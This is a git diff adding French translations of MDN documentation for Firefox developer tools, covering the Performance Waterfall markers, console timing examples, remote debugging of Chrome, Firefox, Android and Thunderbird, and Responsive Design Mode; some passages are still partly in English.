Pour un temps donné, un enregistrement est sélectionné, et cet enregistrement est affiché dans le reste de l'outil. Pour sélectionner un enregistrement différent, cliquer sur son entrée dans le panneau. Pour sauvegarder l'enregistrement en tant que fichier d'extension JSON, appuyer sur "Save".

+ +

Vue d'ensemble de l'enregistrement

+ +

Ceci affiche une vue d'ensemble de la totalité de l'enregistrement.This displays an overview of the entire recording, with the x-axis representing time.

+ +

+ +

It contains two elements: an overview of the Waterfall and a frame rate graph.

+ +

Waterfall overview

+ +

This presents a compressed view of the Waterfall:

+ +

+ +

Recorded operations are color-coded using the same scheme as in the main Waterfall view.

+ +

Frame rate graph

+ +

The frame rate gives you an overview of the browser's responsiveness during the recording:

+ +

+ +

See the separate article on frame rate.

+ +

Correlating events

+ +

Because these elements are synchronized, you can correlate events in one element with events in another.

+ +

For example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate:

+ +

+ +

Zooming in

+ +

You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:

+ +

+ +

Details pane

+ +

The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the Toolbar.

+ +

Waterfall

+ +

The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.

+ +

+ +

To learn much more about the Waterfall, see the separate Waterfall page.

+ +

Call Tree

+ +

The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.

+ +


+ To learn much more about the Call Tree, see the separate Call Tree page.

+ +

Flame Chart

+ +

If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:

+ +

+ +

To learn much more about the Flame Chart, see the separate Flame Chart page.

+ +

Allocations

+ +
+

La vue Allocations est une des nouvautés de Firefox 46.

+
+ +

La vue Allocations ressemble à la vue Call tree view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.

+ +

+ +

The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:

+ +

{{EmbedYouTube("Le9tTo7bqts")}}

+ +

To learn much more about the Allocations view, see the separate Allocations page.

diff --git a/files/fr/tools/performance/waterfall/index.html b/files/fr/tools/performance/waterfall/index.html new file mode 100644 index 0000000000..cf30f9a81d --- /dev/null +++ b/files/fr/tools/performance/waterfall/index.html @@ -0,0 +1,481 @@ +--- +title: Chronologie +slug: Outils/Performance/Waterfall +translation_of: Tools/Performance/Waterfall +--- +
{{ToolsSidebar}}
+ +
+

La chronologie vous donne des indications sur les opérations qu'effectue le navigateur lorsqu'il fait tourner une page web ou une application. Cet outil se base sur l'idée que les opérations qu'effectue un navigateur peuvent être divisées en plusieurs types : exécution du JavaScript, mise à jour du layout, et ainsi de suite... Ainsi que l'idée qu'à n'importe quel point donné dans le temps, le navigateur effectue l'une ou l'autre de ces actions.

+ +

Donc, si vous voyez un problème de performance - une chute du frame rate par exemple - vous pouvez utiliser la chronologie pour voir ce que le navigateur faisait à ce moment de l'enregistrement.

+
+ +

+ +

L'axe X représente le temps. Les opérations enregistrées, appelées marqueurs sont affichées sous la forme de barres de couleur horizontales. Ces marqueurs sont disposés en cascade pour refléter le caractère séquentiel de l'exécution du navigateur.

+ +

Lorsqu'un marqueur est sélectionné, des informations supplémentaires sur celui-ci s'affichent dans le panneau de droite. Ces informations intègrent la durée du marqueur et quelques informations spécifiques de son type.

+ +

Marqueurs

+ +

Les marqueurs possèdent un code couleur et un libellé. Les opérations suivantes sont enregistrées :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom et descriptionCouleurInformations détaillées
+

Évènements DOM

+ +

Le code JavaScript qui est exécuté en réponse à un évènement DOM.

+ 		+
+
Type de l'évènement
+
Par exemple, "click" ou "message".
+
+ +
+
Phase de l'évènement
+
Par exemple "Target" ou "Capture".
+
+
+

Les fonctions JavaScript exécutées dans la page ont le libellé de la raison pour laquelle la fonction a été appelée :

+ +

Script Tag
+ setInterval
+ setTimeout
+ requestAnimationFrame
+ Promise Callback
+ Promise Init
+ Worker
+ JavaScript URI
+ Event Handler

+ 		+
+
Pile
+
La pile d'appels avec des liens vers les fonctions.
+
+
+

Parse HTML

+ +

Le temps passé à parser le HTML de la page.

+ 		+
+
Pile
+
La pile d'appels avec des liens vers les fonctions.
+
+
+

Parse XML

+ +

Le temps passé à parser le XML de la page.

+ 		+
+
Pile
+
La pile d'appels avec des liens vers les fonctions.
+
+
+

Recalcul des styles

+ +

Le calcul des styles qui s'appliquent aux éléments de la page.

+ 		+
+
Causes du recalcul
+
Une chaine de caractères indiquant quel type de recalcul est nécessaire. Elle peut prendre les valeurs suivantes :
+ Self
+ Subtree
+ LaterSiblings
+ CSSTransitions
+ CSSAnimations
+ SVGAttrAnimations
+ StyleAttribute
+ StyleAttribute_Animations
+ Force
+ ForceDescendants
+
+
+

Layout

+ +

Le calcul des positions et de la taille des éléments de la page. Cette opération est parfois appelée "reflow".

+ 		 
+

Paint

+ +

Affichage des pixels à l'écran

+ 		 
+

Ramasse-miettes

+ +

évènement de garbage collection. Les évènements GC non incrémentaux sont nommés "non incrémentiel".

+ 		+
+
Raison
+
Une chaine de caractères indiquant la raison pour laquelle le ramasse-miettes a été effectué.
+
Raison du cycle non incrémentiel
+
Si l'évènement n'était pas incrémentiel, une chaine expliquant pourquoi la GC a été effectuée.
+
 
+
+
+

Nouveau dans Firefox 46: Si l’évènement GC a été causé par une d'allocation, un nouveau lien "Show Allocation Triggers". Cliquer dessus affiche le profil d'allocation menant à cet évènement.

+ +

Voir Allocations et Ramasse-miettes pour plus d'informations.

+
+
+
+
+

Cycle Collection

+ +

Récupération des structures de données C++ qui sont en "reference-count"

+ +

Semblable au ramasse-miette, mais pour les objets C++. Voir l'article de blog de Kyle Huey sur le cycle collection.

+ 		+
+
Type
+
Toujours "Collect"
+
+
+

Réduction d'arbre de ramasse-miettes

+ +

Préparation/préoptimisation pour le Cycle Collection.

+ 		  +

                  Type

+   + +
+
Toujours "ForgetSkippable".
+
+
+

Console

+ +

La période entre les appels à console.time() et console.timeEnd().

+ 		+
+
Nom du timer
+
L'argument passé aux fonctions console.
+
Pile au début
+
La pile d'appels à console.time(), avec des liens vers les fonctions.
+
Pile de fin
+
(Nouveau dans Firefox 41). La pile d'appels console.timeEnd(). S'il s'agit d'un appel dans un callback de Promise, cela montrera également la "Async stack".
+
+
+

Timestamp

+ +

Un appel unique à console.timeStamp().

+ 		+
+
Label
+
L'argument passé à timeStamp().
+
+
+

DOMContentLoaded

+ +

L'évènement DOMContentLoaded du document

+ 		 
+

Load

+ +

L'évènement load du document.

+ 		 
+

Évènement dans le thread principal du worker

+ +

Affiché lorsque le thread principal envoie un message à un worker, ou reçoit un message d'un worker.

+ 		+

Un parmi :

+ +
+
Sérialisation des données sur le thread principal
+
Le thread principal sérialise un message pour l'envoyer au worker
+
Déserialisation des données sur le thread principal
+
Le thread principal désérialise un message pour l'envoyer au worker
+
+
+

Worker event in worker thread

+ +

Affiché lorsque le worker  envoie un message à un worker, ou reçoit un message du thread principal.

+ 		+

Un parmi :

+ +
+
Serialisation des données dans le Worker
+
Le worker sérialise un message pour l'envoyer au thread principal
+
Déserialisation des données dans le Worker
+
Le worker désérialise un message pour l'envoyer au thread principal
+
+
+ +

Les marqueurs et leurs couleurs sont les mêmes dans la chronologie que dans la vue d'ensemble de la chronologie.

+ +

Filtrer les marqueurs

+ +

Il est possible de contrôler quels marqueurs sont affichés en utilisant le bouton dans la barre d'outils :

+ +

+ +

Motifs de la chronologie

+ +

Le contenu de l´enregistrement dépend énormément des opérations réalisées par le site : Les sites utilisant beaucoup de JavaScript auront un profil à dominance orange, alors que les sites à contenu visuel dynamique auront beaucoup de violet et de vert. Cependant certains motifs communs peuvent vous indiquer de possibles problèmes de performance.

+ +

Chronologie de rendu

+ +

Le motif suivant est très courant dans la vue de la chronologie :

+ +

+ +

C'est une visualisation de l´algorithme de base qu'utilise le navigateur pour mettre à jour la page en réponse à un évènement :

+ +
    +
  1. JavaScript Function Call: Un évènement quelconque - par exemple un évènement DOM - a pour effet de lancer du JavaScript. Le code change du DOM ou du CSSOM.
    2. +
  2. Recalculate Style: Si le navigateur pense que des styles calculés de la page ont changé, il les recalcule.
    3. +
  3. Layout: Puis, le navigateur utilise les styles calculés pour déterminer la position et la géométrie des éléments. Cette opération est étiquetée "layout", mais on l'appelle aussi « reflow ».
    4. +
  4. Paint: Enfin, le navigateur a besoin de réafficher les éléments à l'écran. Une dernière étape n'est pas représentée dans cette séquence: La page peut être divisée en couches, qui sont affichées indépendamment puis assemblées lors d'un processus appelé "Composition".
    5. +
+ +

Cette séquence doit se terminer en une seule image, puisque l'écran n'est pas mis à jour avant qu'elle soit terminée. Il est communément admis que 60 images/secondes est la vitesse à laquelle les animations apparaîtront fluides. Pour un taux de 60 images/secondes, cela laisse au navigateur 16,7 millisecondes pour exécuter le flow complet.

+ +

Il est important pour la réactivité à ce que le navigateur n´ait pas à passer par toutes ces étapes à chaque fois :

+ +
    +
  • Les animations CSS mettent à jour la page sans avoir besoin d'exécuter du JavaScript.
    • +
  • Toutes les propriétés CSS modifiées ne causent pas de « reflow ». Modifier des propriétés qui changent la position ou la géométrie d'un objet, telles que width, display, font-size, ou top, provoqueront un « reflow ». Par contre, modifier des propriétés qui ne changent par la géométrie ou le positionnement, telles que color ou opacity, n'en feront rien.
    • +
  • Toutes les propriétés CSS modifiées n'amènent pas à un repaint. En particulier, si vous animez un élément en utilisant la propriété transform, le navigateur utilisera une couche séparée pour l'élément transformé, et n'aura peut-être même pas à faire un repaint si l'élément est déplacé : Sa nouvelle position est traitée dans la composition.
    • +
+ +

L'article Animer des propriétés CSS montre qu'animer différentes propriétés CSS peut donner des résultats de performance différents, et comment la chronologie peut aider à le voir.

+ +

JavaScript bloquant

+ +

Par défaut, le JavaScript des pages web est exécuté sur le même thread que celui que le navigateur utilise pour les mises à jour de layout, les repaints, les évènements DOM et ainsi de suite. Cela signifie que des fonctions JavaScript qui mettent longtemps à s´exécuter peuvent causer des ralentissements (jank). Les animations ne seront pas fluides et le site pourra même freezer.

+ +

En utilisant l'outil frame rate et la « chronologie », il est facile de voir lorsque des fonctions JavaScript posent problème. Dans la capture d´écran ci-dessous, un zoom a été fait sur une fonction JS qui cause une chute du frame rate :

+ +

+ +

L'article JavaScript Intensif montre comment la « chronologie » peut mettre en évidence les problèmes de réactivité causés par des fonctions JavaScript trop gourmandes, et comment utiliser des méthodes asynchrones pour garder le thread principal réactif.

+ +

« Décorations » coûteuses

+ +

Certains effets tels que box-shadow, peuvent être coûteux ; surtout lors de transitions où le navigateur doit recalculer cet effet à chaque image. Si vous remarquez des chutes de frame rate surtout lors d'opérations et transitions graphiques couteuses, recherchez les longs marqueurs verts (repaint) dans la chronologie.

+ +

Ramasse-miettes (Garbage Collection)

+ +

Les marqueurs rouges dans la chronologie représentent le passage du ramasse-miettes (GC), pour lequel SpiderMonkey (le moteur JavaScript de Firefox) parcourt la pile à la recherche d´éléments en mémoire qui ne sont plus accessible pour les libérer. La GC est un indice de performance, car lorsqu’elle « tourne », le moteur JavaScript doit être en pause et donc le programme est mis en pause et ne répondra pas.

+ +

Pour aider à réduire la durée de ces pauses, SpiderMonkey implémente une GC morcelée. Cela signifie qu´il peut faire de la garbage collection par petites « passes », permettant au programme de tourner entre celles-ci. Parfois, le moteur à besoin de réaliser une garbage collection complète et non par morceaux et alors, le programme a besoin d'attendre la fin de cette opération.

+ +

Pour essayer d’éviter les évènements GC et surtout les passages complets, il est sage de ne pas essayer d'optimiser pour l'implémentation spécifique du moteur JavaScript. SpiderMonkey utilise un ensemble complexe d'heuristiques pour déterminer quand la GC est nécessaire, et quand une GC non incrémentale en particulier est nécessaire. En général cependant :

+ +
    +
  • La GC est nécessaire lorsque beaucoup de mémoire est allouée.
    • +
  • La GC complète est généralement nécessaire lorsque le taux d'allocation mémoire est assez haut pour que SpiderMonkey puisse être à court de mémoire durant une GC morcelée.
    • +
+ +

Lorsque la Chronologie enregistre un marqueur GC, cela indique :

+ +
    +
  • Si le ramasse-miettes passait de manière morcelée ou pas.
    • +
  • La raison de l'événement GC qui a eu lieu.
    • +
  • Si la passe du ramasse-miettes était complète, et la raison pour laquelle elle l'était.
    • +
  • Depuis de Firefox 46, si l’évènement GC a été causé par une d'allocation, un nouveau lien "Show Allocation Triggers". Cliquer dessus affiche le profil d'allocation menant à cet évènement. Voir Allocations et Ramasse-miettes pour plus d'informations.
    • +
+ +

Ajouter des marqueurs avec la console API

+ +

Deux marqueurs peuvent être contrôlés par des appels à la console API : "Console" et "Timestamp".

+ +

Marqueurs de console

+ +

Ces marqueurs permettent de marquer une section spécifique de l'enregistrement.

+ +

Pour faire un marqueur console, il faut appeler console.time() au début d'une section, et console.timeEnd() à la fin. Ces fonctions prennent un argument qui est le nom de la section.

+ +

Par exemple si nous avons un code comme ceci :

+ +
var iterations = 70;
+var multiplier = 1000000000;
+
+function calculatePrimes() {
+
+  console.time("calculating...");
+
+  var primes = [];
+  for (var i = 0; i < iterations; i++) {
+    var candidate = i * (multiplier * Math.random());
+    var isPrime = true;
+    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
+      if (candidate % c === 0) {
+          // not prime
+          isPrime = false;
+          break;
+       }
+    }
+    if (isPrime) {
+      primes.push(candidate);
+    }
+  }
+
+  console.timeEnd("calculating...");
+
+  return primes;
+}
+ +

La sortie de la Chronologie ressemblera à ceci :

+ +

+ +

Le marqueur est nommé par l'argument passé à console.time(), et lorsque le marqueur est sélectionné, il est possible de voir la pile du programme dans l'encadré sur le coté droit.

+ +

Tache Async

+ +

Nouveau dans Firefox 41.

+ +

À partir de Firefox 41, l'encadré de droite affichera également la stack à la fin de la période. C´est à dire au moment où console.timeEnd() a été appelé. Si console.timeEnd() a été appelé par la résolution d'une Promise, l'encadré affichera également le label "(Async: Promise)", sous lequel sera affiché la "async stack" : Il s'agit de la pile d'appels au moment où la promise a été faite.

+ +

Par exemple, avec ce code :

+ +
var timerButton = document.getElementById("timer");
+timerButton.addEventListener("click", handleClick, false);
+
+function handleClick() {
+  console.time("timer");
+  runTimer(1000).then(timerFinished);
+}
+
+function timerFinished() {
+  console.timeEnd("timer");
+  console.log("ready!");
+}
+
+function runTimer(t) {
+  return new Promise(function(resolve) {
+    setTimeout(resolve, t);
+  });
+}
+ +

La Chronologie affichera un marqueur pour la période entre time() et timeEnd(), et s’il est sélectionné, la pile async apparaitra dans l'encadré :

+ +

+ +

Marqueurs de temps

+ +

Les Timestamps permettent de marquer un instant dans l'enregistrement.

+ +

Pour faire un timestamp, il faut appeler console.timeStamp(). Il est possible de passer un argument pour nommer le timestamp.

+ +

Par exemple, supposons que nous adaptions le code au-dessus pour faire un timestamp toutes les 10 itérations de la boucle ayant pour nom le nombre de l'itération :

+ +
var iterations = 70;
+var multiplier = 1000000000;
+
+function calculatePrimes() {
+  console.time("calculating...");
+
+  var primes = [];
+  for (var i = 0; i < iterations; i++) {
+
+    if (i % 10 == 0) {
+      console.timeStamp(i.toString());
+    }
+
+    var candidate = i * (multiplier * Math.random());
+    var isPrime = true;
+    for (var c = 2; c <= Math.sqrt(candidate); ++c) {
+      if (candidate % c === 0) {
+          // not prime
+          isPrime = false;
+          break;
+       }
+    }
+    if (isPrime) {
+      primes.push(candidate);
+    }
+  }
+  console.timeEnd("calculating...");
+  return primes;
+}
+ +

Dans la Chronologie, vous verrez quelque chose comme ceci :

+ +

diff --git a/files/fr/tools/remote_debugging/chrome_desktop/index.html b/files/fr/tools/remote_debugging/chrome_desktop/index.html new file mode 100644 index 0000000000..1e1580b614 --- /dev/null +++ b/files/fr/tools/remote_debugging/chrome_desktop/index.html @@ -0,0 +1,49 @@ +--- +title: Déboguer Chrome Desktop à distance +slug: Outils/Débogage_distant/Chrome_Desktop +translation_of: Tools/Remote_Debugging/Chrome_Desktop +--- +
{{ToolsSidebar}}

Cet article explique comment connecter les outils de développement Firefox à Google Chrome si celui-ci est lancé sur l'ordinateur.

+ +
+

Note : Ce support dépend du module complémentaire Valence qui effectue le lien entre le protocole de débogage utilisé par Firefox et celui utilisé par Chrome. Le support de Valence est toujours expérimental.

+
+ +

Ce guide est organisé en deux parties : la première concerne les prérequis nécessaires, la seconde partie concerne la partie de connexion.

+ +

Prérequis

+ +

Pour connecter les outils de développement avec Google Chrome, vous aurez besoin de :

+ + + +

Connexion

+ +

{{EmbedYouTube("g5p9__OiaMY")}}

+ +

Lancer Chrome

+ +

Pour activer le débogage distant sur Chrome (pour ordinateur), vous aurez besoin de le lancer avec le flag suivant : --remote-debugging-port=9222. Pour plus d'informations, voir ce guide pour démarrer Chrome avec des options en ligne de commande.

+ +

D'autres options peuvent s'avérer utiles. En lançant Chrome avec --no-first-run, --no-default-browser-check, et --user-data-dir, on peut lancer une instance de Chrome en parallèle d'une autre déjà lancée.

+ +

Par exemple, sur OS X, on peut lancer la commande suivante pour démarrer une instance de Chrome qui soit débogable et qui puisse être séparée des autres instances éventuellement déjà lancées :

+ +
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --no-first-run --no-default-browser-check --user-data-dir=$(mktemp -d -t 'chrome-remote_data_dir')
+ +

Effectuer la connexion avec WebIDE

+ +

Sous Firefox, ouvrez WebIDE. Dans WebIDE, cliquez sur « Sélectionner l'environnement » puis sélectionnez « Chrome Desktop » dans le menu déroulant.

+ +

Ensuite, cliquez sur le menu « Ouvrir une application » de WebIDE. Cela affichera une liste des onglets ouverts sur l'instance. Cliquez sur un onglet pour y connecter les outils de développement. Vous pourrez ensuite utiliser la plupart des outils de développement Firefox. À l'heure actuelle, les outils suivants ne sont pas encore supportés :

+ + diff --git a/files/fr/tools/remote_debugging/debugging_firefox_desktop/index.html b/files/fr/tools/remote_debugging/debugging_firefox_desktop/index.html new file mode 100644 index 0000000000..c6f18c479b --- /dev/null +++ b/files/fr/tools/remote_debugging/debugging_firefox_desktop/index.html @@ -0,0 +1,44 @@ +--- +title: Déboguer Firefox Desktop +slug: Outils/Débogage_distant/Debugging_Firefox_Desktop +tags: + - Debugging + - Guide + - Tools +translation_of: Tools/Remote_Debugging/Debugging_Firefox_Desktop +--- +

{{draft}}

+ +
{{ToolsSidebar}}
+ +
+ +

Ce guide explique comment utiliser des outils de développement de Firefox pour déboguer une instance différente de Firefox pour ordinateur tournant sur la même machine. Dans ce guide, l'instance de Firefox qui sera déboguée sera référencée sous l'appellation le débogué. tournant l’instance qui fait le débogage sera appelé le déboguant.

+ +

Activer le débogage distant

+ +

Tout d'abord, il est nécessaire de s'assurer que le déboguant et le débogué aient tous les deux les options "Activer le débogage du chrome du navigateur et des modules" et "Activer le débogage distant" d'activés dans les options des outils de développement. Si vous utilisez Firefox Developer Edition, les options devraient être activées par défaut.

+ +

+ +

Cette étape n'est nécessaire qu'une seule fois : les valeurs de ces options sont persistantes et resteront les mêmes jusqu'à ce que vous les changiez de nouveau.

+ +

Lancer le serveur de débogage

+ +

Ensuite, il faut lancer le serveur de débogage dans le débogué.

+ +

Depuis Firefox 37 la méthode ci-dessus fonction toujours, mais il existe une alternative : lancez le débogué en ligne de commande avec l'option --start-debugger-server :

+ +
/path/to/firefox --start-debugger-server
+ +

Passée sans argument, --start-debugger-server lance l'écoute sur le port 6000. Pour utiliser un port différent, il faut passer le port désiré :

+ +
/path/to/firefox --start-debugger-server 1234
+ +

Note: Sous Windows, l'appel start-debugger-server n'a qu'un seul tiret :

+ +
firefox.exe -start-debugger-server 1234
+ +
+

Note: Par défaut, et pour des raisons de sécurité, l'option devtools.debugger.force-local est activé. Si vous voulez déboguer une instance de Firefox sur une machine externe, il est possible de changer cette option, mais il est extrêmement recommandé de faire cela que sur un réseau de confiance ou d'avoir au préalable instauré une règle de pare-feu forte pour déterminer quelle machine peut y accéder.

+
diff --git a/files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html b/files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html new file mode 100644 index 0000000000..1c09d2f521 --- /dev/null +++ b/files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html @@ -0,0 +1,70 @@ +--- +title: Déboguer Firefox pour Android avec WebIDE +slug: Outils/Débogage_distant/Debugging_Firefox_for_Android_with_WebIDE_clone +tags: + - Debugging + - Guide + - Tools +translation_of: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone +--- +
{{ToolsSidebar}}

Cet article décrit comment connecter les Outils de développement de Firefox de Firefox pour Android à partir de Firefox 36.

+ +

Cela fait un moment qu'il est possible de connecter les outils de développement de Firefox à Firefox pour Android afin de pouvoir déboguer des sites pour mobiles. Cependant, jusqu'à maintenant il s'agissait d'un procédé complexe et prompt à l'erreur. Depuis Firefox 36 le procédé est beaucoup plus simple : en particulier, il n'est plus du tout nécessaire de passer directement par l'outil adb. La connexion se fait maintenant par WebIDE, qui lui s'occupe d'adb.

+ +
+

Pour que cela fonctionne, il est nécessaire d'avoir les versions Firefox Desktop 36+ et Firefox pour Android 35+. Si vous avez besoin d'utiliser des versions précédentes, regardez les instructions pour connecter les outils de développement à Firefox pour Android.

+
+ +

 

+ +

+ +

Ce guide est divisé en deux parties : la première partie "Prérequis", décris toutes les opérations qui ne sont requises qu'une seule fois, alors que la seconde partie "Connexion", décrit les étapes qui sont nécessaires à chaque connexion.

+ +

Prérequis

+ +

Tout d'abord, vous aurez besoin d'avoir :

+ +
    +
  • Un ordinateur avec Firefox 36 ou plus récent installé
    • +
  • Un appareil Android capable d'exécuter Firefox pour Android avec Firefox pour Android 35 ou plus récent installé.
    • +
  • Un câble USB pour connecter les deux appareils
    • +
+ +

ADB Helper

+ +

Votre Firefox Desktop doit également posséder le module complémentaire ADB Helper version 0.7.1 ou plus récent. Ce module devrait s'être installé automatiquement à la première ouverture de WebIDE. Pour vérifier la version, tapez about:addons dans la barre d'adresse du navigateur et ADM devrait être listé.

+ +

Si vous n'avez pas ADB Helper version 0.7.1+, sélectionnez " Gérer les composants additionnels " depuis le menu "Projets", et ADB Helper sera listé sous "Composants supplémentaires" :

+ +

Cliquez sur "désinstaller", puis sur  "installer", et vous devriez maintenant avoir la dernière version.

+ +

Configurer l'appareil Android

+ +

Tout d'abord, activez le débogage USB en suivant les étapes2 et 3 de ce lien et uniquement ce lien.

+ +

Ensuite, activez le débogage distant dans Firefox pour Android : Ouvrez le navigateur, ouvre le menu et sélectionnez "Options" puis  "Outils de développement" (sur certains appareils il peut être nécessaire de sélectionner "Plus" pour voir "Options"). Maintenant, cochez la case "Débogage distant" :

+ +

+ +

Le navigateur peut alors afficher une notification vous rappelant de configurer le "port forwarding", ignorez cette notification.

+ +

Connexion

+ +

Connectez l'appareil Android à l'ordinateur grâce au câble USB, ouvrez WebIDE, et dans le panneau "Environnement", vous verrez un Firefox pour Android dans la catégorie "Périphériques USB" :

+ +

+ +

Sélectionnez-le. Sur l'appareil Android, le message d'avertissement suivant apparait :

+ +

+ +

Cliquez sur OK. Maintenant, cliquez sur "Ouvrir une application" dans le menu de WebIDE? Vous verrez alors une liste des onglets ouverts sur l'appareil :

+ +

+ +

Sélectionnez un onglet pour y attacher les outils de développement :

+ +

+ +

Maintenant, vous devriez pouvoir utiliser tous les outils de développement de Firefox qui supporte le débogage distant. Voir la page débogage distant pour plus de détails.

diff --git a/files/fr/tools/remote_debugging/index.html b/files/fr/tools/remote_debugging/index.html new file mode 100644 index 0000000000..bc7965065b --- /dev/null +++ b/files/fr/tools/remote_debugging/index.html @@ -0,0 +1,20 @@ +--- +title: Débogage distant +slug: Outils/Débogage_distant +tags: + - Outils +translation_of: Tools/Remote_Debugging +--- +
{{ToolsSidebar}}
+ +

Il est possible d'utiliser les outils de développement de Firefox de votre ordinateur pour déboguer des sites et des applications web tournant dans d'autres navigateurs ou environnements d'exécution. Les autres navigateurs peuvent être sur le même appareil que les outils ou sur un appareil différent, tel qu'un téléphone connecté en USB.

+ +

Les instructions détaillées pour connecter les outils de développement dépendent de l’environnement d'exécution.

+ +

Il est possible de connecter les outils de développement aux environnements d'exécution Gecko tels que : Firefox sur ordinateur, Firefox pour Android, et Thunderbird.

+ + diff --git a/files/fr/tools/remote_debugging/thunderbird/index.html b/files/fr/tools/remote_debugging/thunderbird/index.html new file mode 100644 index 0000000000..cf55624731 --- /dev/null +++ b/files/fr/tools/remote_debugging/thunderbird/index.html @@ -0,0 +1,44 @@ +--- +title: Débogage distant de Thunderbird +slug: Outils/Débogage_distant/Thunderbird +tags: + - Debug + - Tutorial + - thunderbird +translation_of: Tools/Remote_Debugging/Thunderbird +--- +
{{ToolsSidebar}}

Ce guide décrit comment utiliser le débogage distant pour inspecter et déboguer du code dans Thunderbird.

+ +

De nombreux outils de développeent sont compatibles avec Thunderbird en utilisant de mécanisme de connexion à distante de Firefox. Les outils actuellement compatibles sont : La Console Web, l'Inspecteur, le Débogeur, l'Éditeur de Style, Performance, et Réseau. D'autres outils seront disponibles dans le futur.

+ +

Configurer Thunderbird

+ +

Tout ce qui a besoin d'être fait dans Thunderbird est d'activer le serveur de débogage. Cela peut être fait en utilisant le menu Outils dans la barre d'outils  (alt + Outils) et en sélectionnant Activer le débogage distant. Par défaut, le serveur sera ouvert sur le port 6000. Si vous désirez changer ce port, par exemple pour déboguer de multiples profils, il est nécessaire d'ouvrir l'éditeur de configuration avancé et de changer la préférence devtools.debugger.remote-port.

+ +

Configurer Firefox

+ +

Firefox agit comme le client et fournit l'interface utilisateur pour contrôler les outils de développement pour Thunderbird. Il est recommandé d'utiliser une version de Firefox et Thunderbird majeure, mais dans certains cas, cela fonctionnera avec d'autres versions.

+ +

Pour configurer Firefox, il faut activer l'option "Activer le débogage distant" dans les options des outils de développement. Pour cela, il faut ouvrir la boite à outils, cliquer sur l'icône "Options" button dans la barre d'outils, et cocher "Activer le débogage distant" :

+ +

+ +

Vous pouvez maintenant ouvrir la page de connections de Firefox en passant par le menu outils :

+ +

+ +

Un page s'ouvrira alors dans le navigateur, il est possible de l'ajouter aux favoris. Dans le cas ou le port est celui par défaut, les champs seront déjà remplis correctement. Cliquez sur le bouton de connexion pour initialiser la connexion distante. Si vous avez changé le port par défaut, rentrez le port que vous avez choisi dans le champ approprié.

+ +

+ +

Vous serez ensuite présenté avec une liste d'onglets et de processus distants. Comme la notion d'onglets de Thunderbird n'est pas la même que celle de Firefox, les onglets distants qui sont affichés sont les éléments xul:browser dans Thunderbird. Cela peut être un onglet à contenu, ou le lecteur de message. Dans la plupart des cas cependant, vous voudrez sélectionner "Processus principal" pour déboguer le code de Thunderbird lui-même. Une nouvelle fenêtre s'ouvre alors avec les outils de développement connectés à l'instance de Thunderbird.

+ +

+ +

Utiliser les outils de développement

+ +

L'utilisation des outils de développement est explicite. Si vous avez des problèmes avec un outil en particulier, jetez un oeil à la documentation des outils de développement. Du faite de la nature distante de la connexion, il peut y avoir quelques menues différences. Certains outils peuvent ne pas être disponibles, et il est également possible que la performance ne soit pas la même. Par exemple utiliser l'outil Débogeur prend pas mal de temps à charger, car les fichiers doivent être transférés par une connexion réseau interne.

+ +

Résolution des problèmes

+ +

Si vous rencontrez une erreur, la première chose à faire est de vérifier que les numéros de version de Firefox et Thunderbird sont les mêmes : si vous utilisez Firefox 24, vous devriez utiliser également Thunderbird 24. Ensuite, il est important de savoir si le problème vient des outils de développement ou du code distant dans Thunderbird. Pour vérifier cela, essayez de reproduire le problème en utilisant uniquement Firefox. Par exemple si vous vous rendez compte que vous ne pouvez pas modifier un attribut dans l'Inspecteur, essayez de changer un attribut dans Firefox. SI vous ne pouvez pas le reproduire, déclarez un bug dans le produit Thunderbird, sinon, déclarez un bug dans les outils de développement de Firefox.

diff --git a/files/fr/tools/responsive_design_mode/index.html b/files/fr/tools/responsive_design_mode/index.html new file mode 100644 index 0000000000..e9de1226c9 --- /dev/null +++ b/files/fr/tools/responsive_design_mode/index.html @@ -0,0 +1,213 @@ +--- +title: Vue adaptative +slug: Outils/Vue_adaptative +tags: + - Firefox + - Mobile + - Responsive Design + - Tools + - Web Development +translation_of: Tools/Responsive_Design_Mode +--- +
{{ToolsSidebar}}
+ +

Le responsive design (vue adaptative) est la pratique de concevoir un site web afin que celui-ci s'affiche correctement sur un grand nombre d'appareils différents. En particulier les mobiles et les tablettes, ainsi que les ordinateurs (portable ou de bureau).

+ +

Le facteur le plus évident ici est la taille d'écran, mais il y a aussi d'autres facteurs, incluant la densité de pixels de l'affichage ainsi que s’il est tactile ou non. Le mode vue adaptative vous donne un moyen simple de simuler ces facteurs, de tester à quoi ressembler votre site web et comment il se comportera sur différents appareils.

+ +

Activation et désactivation du mode de vue adaptative

+ +

Il existe trois façons d’activer la vue adaptative :

+ +
    +
  • Dans le menu de Firefox, sélectionner le sous-menu Développement puis vue adaptative (ou le menu Outils si la barre de menus est affichée ou si vous êtes sur macOS).
    • +
  • Appuyer sur le bouton vue adaptative de la barre d’outils de développement:
    • +
  • Utiliser le raccourci clavier Ctrl+Maj+M, ou Cmd+Option+M pour macOS.
    • +
+ +

Utiliser la vue adaptative

+ +

Lorsque l'outil est activé, la zone de contenu des pages web prend la taille de l'écran de l'appareil sélectionné. Par défaut la taille est de 320 x 480 pixels.

+ +
+

